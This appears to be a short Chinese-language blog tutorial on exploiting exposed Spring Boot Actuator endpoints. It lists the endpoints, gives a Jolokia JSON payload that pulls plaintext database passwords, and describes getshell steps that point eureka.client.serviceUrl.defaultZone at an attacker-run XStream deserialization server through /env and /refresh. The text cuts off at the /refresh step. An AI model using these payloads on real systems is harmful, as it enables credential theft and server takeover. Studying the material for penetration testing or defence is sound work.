常见漏洞-springboot
1.Spring: Spring是java web里非常常见的组件了, 自然也是研究的热门, 好用的漏洞主要是Spring Boot Actuators 反序列化。
Actuators介绍:Spring Boot 基本上是 Spring 框架的扩展。
Actuator 是springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。
2.端点信息:
- /autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
- /configprops 描述配置属性(包含默认值)如何注入 Bean
- /beans 描述应用程序上下文里全部的 Bean,以及它们的关系
- /dump 获取线程活动的快照
- /env 获取全部环境属性
- /env/{name} 根据名称获取指定的环境属性值
- /health 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供
- /info 获取应用程序的定制信息,这些信息由 info 打头的属性提供
- /mappings 描述全部的 URI 路径,以及它们和控制器(包含Actuator端点)的映射关系
- /metrics 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数
- /metrics/{name} 报告指定名称的应用程序度量值
- /shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为true (默认为 false )
- /trace 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)
3.框架特征及漏洞发现
框架特征:浏览器上方链接图标为一片小绿叶,404报错页面也很有特点
检测工具链接:https://github.com/rabbitmask/SB-Actuator

4.漏洞利用
(1)获取敏感信息:由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以拿下 mysql、mangodb 数据库;这个主要通过/env 路径获取这些服务的配置信息。
(2)获取被“*”脱敏的密码的明文
条件:
<1>目标网站存在 /jolokia接口
<2>目标使用了 jolokia-core 依赖
<3>目标使用了 spring-cloud 依赖
步骤一: 找到想要获取的属性名
步骤二: jolokia 调用 org.springframework.cloud.context.environment Mbean 获取明文
payload:
{"mbean":"org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["spring.datasource.password"]}

(3)Getshell
利用反序列化进行getshell(通过修改env配置文件进行xstream反序列化)
前置条件:
<1>Eureka-Client <1.8.7(多见于Spring Cloud Netflix)
<2>spring-boot-starter-actuator(/refresh刷新配置需要)
<3>spring-cloud-starter-netflix-eureka-client(功能依赖)

使用python3起一个服务,该服务为启动的xstream

访问/env,修改为post: eureka.client.serviceUrl.defaultZone=http://目标IP:6666/xstream

访问/refresh,修改为post:

Comments | NOTHING